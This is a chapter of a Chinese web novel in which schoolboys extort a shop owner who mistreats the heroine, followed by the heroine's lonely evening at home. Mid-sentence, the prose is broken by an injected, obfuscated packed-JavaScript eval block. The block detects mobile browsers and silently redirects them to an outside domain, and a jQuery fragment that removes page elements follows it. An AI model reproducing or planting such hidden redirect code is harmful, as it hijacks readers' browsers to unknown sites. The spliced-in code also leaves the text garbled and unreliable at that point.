13. 第 13 章

作品:《北岛有山茶

    梁彦俊搓着小手一脸兴奋地出来。


    李易扬枕着胳膊乐他:“人家不爱搭理你吧?”


    梁彦俊点点头,心想这姑娘和他北哥一样,高冷。


    “问出叫啥了吗?”


    “瞧不起谁呢?”梁彦俊翻了个白眼,嘻嘻笑着闹到张北身边,谄媚道,“四中的,徐、子、晴。”


    梁彦俊之前在广东上学,高一才转来这边。陈霆他们可是附中老人了,对周漾早有耳闻,俩人在旁边乐了乐,乐他“傻逼”。


    张北没说话,仰头喝光一罐可乐。


    被捏扁的可乐罐“叮当”一声撞进垃圾桶。他站起来,带着小黑黑径直上了楼。


    没一分钟,周漾从卫生间里走出来。


    梁彦俊热情招呼她:“子晴同学,桌上有药,抹完再走。”


    周漾摇摇头说:“谢谢,不用了。”


    她一脸防备拘谨,他们也不好再留。


    梁彦俊领着她出去,搭手帮着人把电动车擦干净了。等他走到沙发了,这才一摊手,跟沙发上俩人无语说:“这女孩儿看着挺乖巧的,她家里人怎么那样啊,电话里那一通骂,我隔着车轱辘都听到了。”


    他抱怨完,客厅里寂静无声,俩人一脸同情地望着他,一个和他搭腔的都没有。他直觉有点儿不对,一扭头,果然看见他北哥站在楼梯上淡淡睨着他。


    梁彦俊讪讪乐了乐:“……北哥,那什么……那姑娘好看,”他伸出两根大拇指,比划,“她家……她人也好,都好,北哥好眼光!”


    张北脸色冷淡,一步一步下楼:“我不喜欢她。”


    “你不……”梁彦俊说到一半点点头,“对,不叫喜欢,也就是……也就是有点好感。”


    “也没好感。”


    张北说着给小黑黑倒上狗粮,几步走过来坐到沙发上。


    梁彦俊知道张北从来不吃这种没有卫生保障的垃圾食品,把麻辣烫往旁边挪了挪,嘿嘿笑着说:“北哥放心,我给你点了酸菜鱼,估计马上就到。”


    张北伸手一指他手上的麻辣烫,说:“扔了。”


    梁彦俊一愣,陈霆“哐当”帮他把麻辣烫扔垃圾桶里了。


    张北伸手拿外套。


    “去外面吃。”


    梁彦俊:“……神马?????”他人还没反应过来,就见张北朝小黑黑招了招手。


    小黑黑“嗖”地窜过来,呜嗷一声。


    周漾骑电动车回了趟家。


    一进门,看见她二叔正坐在客厅的沙发上看电视。见她回来,男人什么也没说,关上电视一瘸一拐的回了卧室。


    周漾把脏掉的校服换下来了,连着里边儿的卫衣,一块儿扔进了脏衣篓。她换了件紫色的毛绒毛衣,临走前给奶奶提了提被子。


    不到7点,奶奶已经睡了,应该是吃了药。


    她看一眼手机。上面5个未接来电,全都是薄秋男打进来的。这会儿薄秋男把电话打给她,肯定是喊她回去帮忙。周漾有些郁闷地下楼,骑上电动车。


    刚一进店,她就看见了背对店门口坐着吃饭的张北,周漾简直怀疑自己是走错地方了。


    但没走错。


    薄秋男蹭地从收银台后边站起来,脸色特别难看,冲她嚷嚷:“你怎么现在才回来?”


    店里零星有几个吃饭的客人,刚结完账准备拿书包走人的俩初中生被这一嗓子吓了一跳,俩人都同情的看了她一眼往外走。


    周漾自尊心强。她觉得窘迫,脸发红发烫,声音不自觉小下去,试图和薄秋男解释:“麻辣烫洒了,我回去换了身衣裳。”


    “你怎么干的事儿?”薄秋男气死了,“你现在才回来,外卖超时客人都申请赔偿了你知道吗?”


    周漾站着不动,任凭她发泄,腰杆挺的直直的。


    她把麻辣烫弄洒了,多赔了人家一份,还有份没送到。本来是有些内疚的,不然她就不骑小电车过来帮忙了。


    但这也不完全是她的错。她手也烫红了。她辛苦了一天,现在还没吃上晚饭呢。现在还要当着别人的面听薄秋男劈头盖脸的数落。那点愧疚之情忽然就荡然无存了。


    她也是人,她也有自尊,她不欠薄秋男什么,又不是她上赶着要来店里送外卖的。


    薄秋男本来就气不打一处来,看她那硬邦邦直愣愣的样子更气得厉害。小婊子那副看不起人的清高劲儿简直和她妈当年一模一样。可她妈已经死了。薄秋男气的扔过去一条抹布,啐道:“你知道这单赔了人家多少钱吗?你个废……”


    “老板!”


    薄秋男嗓子眼还卡着个“物”字没骂出来呢,却见后桌吃饭的少年人一脚把店里的凳子踹飞了。


    她人尚还有点儿愣神。张北已大步流星地走过来。他半个身子斜斜倚在柜台边,凉凉笑着说:“老板,你这麻辣烫里有狗毛吧?”


    薄秋男这辈子没养过狗。可开店这大半年,她也长见识了。特别是找事逃单的混子,她见识的多。


    打这人一进门她就觉得眼熟,可怎么也记不清在哪儿见过。


    高阳那破记性就随她,要么也不会打小就蹲班。


    薄秋男眯眼打量眼前的人。尽管这人低调,她认不清牌子,但衣服的质感却骗不了人。一看就不是个差钱的主儿。薄秋男稍稍放松点儿,笑了笑,亲热道:“帅哥,绝对是你看走眼了。我们店是老字号了,保证干净卫生,不可能有狗毛的。”


    “不可能?”


    张北招招手。


    他人淡淡笑着,可这笑看的人心里发毛。


    梁彦俊屁颠屁颠捧着碗过来。


    张北仍盯着她,慢悠悠伸手从菜叶子上捏出两根——黑的,直的,毛,摆在她面前。


    薄秋男看的一愣一愣的,拧着眉头说:“不可能呀。”她还怕自己看不清,埋头在柜台上瞧了又瞧。


    张北不耐烦地用指骨把柜台敲得咚咚响。


    薄秋男用抹布随手抹了抹,把两根狗毛抹没了。桌面光洁如新,她抬头无赖一笑,道:“确实看不着狗毛。”


    梁彦俊在旁道:“没有狗毛……是你的几把毛?”


    “唉你怎么说话的?”薄秋男把抹布甩了甩,不客气喊,“你们是不是来碰瓷儿的?”


    “次啦”两声。


    凳子划过地板发出刺耳的响。


    又两个一米八几的大小伙子一起从后边儿围上来。


    薄秋男看着围过来的几个人高马大的半大小子,吓得一屁股坐到凳子上:“你们…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627855|172463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …你们要干什么?”


    梁彦俊笑嘻嘻的:“今儿在你店里吃出狗毛,你要不给个说法,我们就直接投诉你。”


    薄秋男梗着脖子:“你是天王老子?你说有狗毛就有狗毛?”


    陈霆道:“我们说了不算,正好让市场监督管理局好好检查检查你这店里的食品卫生。”


    薄秋男攥着抹布:“我没有……”


    张北不屑的勾起一侧唇角,最后一遍问她:“你不认?”


    梁彦俊摆弄她柜台上那只老旧计算机:“你不认我们可就打12315投诉了奥。”


    薄秋男这会儿终于知道这几个今天就是来这里找事儿的。她这店里肯定没狗毛,可她那后厨不是谁都能看的。她面色灰败,声音也跟着败下来:“你们到底想怎么样?”


    张北伸出一根食指:“1000块钱,外加十倍赔偿。”


    “什么?”薄秋男抖的声音都变了调,眼圈一下子就红了。


    张北冷眼看着薄秋男用袖子抹了把眼泪,不情不愿的数了1600。


    他把钱一点一点地从薄秋男手上抽过去,特地在她面前点了两遍。


    薄秋男气得脸色胀紫,却不敢瞪他。


    张北讥讽地笑了笑,笑意却在他脸上一寸寸的冷下去。


    梁彦俊笑嘻嘻地甩了甩头,临出门时嘻笑着喊:“走啦,大姐,祝生意兴隆啊。”


    张北单手插兜走在最后面。


    快出店门时他回头淡淡掀起眼皮,一脸的鄙夷厌恶,声音冷冷道:“菜叶子都烂了,还不关门么?”


    他们走后,薄秋男红着眼骂骂咧咧了一会儿,怕他们再回来,不情不愿地早早关了门,一个人骑电动车走了。


    周漾慢悠悠走在金水街。


    薄秋男这些年对她不好。


    爸爸出事后,奶奶身体垮了。她一个人撑着,自己洗衣服做饭,生了病大多也是硬抗,独自带奶奶往返于医院。


    周漾用到薄秋男的地方不多。反而是薄秋男总让她帮忙辅导高阳功课,帮忙看店,出钱帮家里渡过难关。


    可他们从没把她当家人。


    她生了病无人在意,烫着了也没人管。他们对她,只有利用和算计。


    周漾突然觉得,空荡,失落。


    世界这么大,熙熙攘攘这么多人,都和她没有什么关系。


    她孤身一人,只有弱点,没有后盾。


    周漾拐弯转进了巷子里。


    金水区这一片到了晚上乌漆麻黑的,连个路灯都少有。


    周漾快步从小道上穿过去。回到家,周漾先去了厨房。她以前也没少在薄秋男店里帮忙,但薄秋男一般都会骑电动车带她回家。俩人回到家凌晨了,一起吃点儿中午的剩饭剩菜。


    今天她往菜厨里望了望,剩菜没了。电饭锅里剩了口米饭,篮子里还有俩鸡蛋。


    周漾把米饭盛出来,开火,锅热了倒油,打了俩鸡蛋进去。铲子在锅里翻了翻,她往里放了勺盐,把米饭也倒进去了,临关火时放了点儿酱油。


    她没去客厅,就窝在厨房扒拉蛋炒饭。虽然这是她家,但二叔一家鸠占鹊巢这么些年,这房子早就没有家的感觉了。她的活动范围也仅限于厨房,卫生间,小卧室。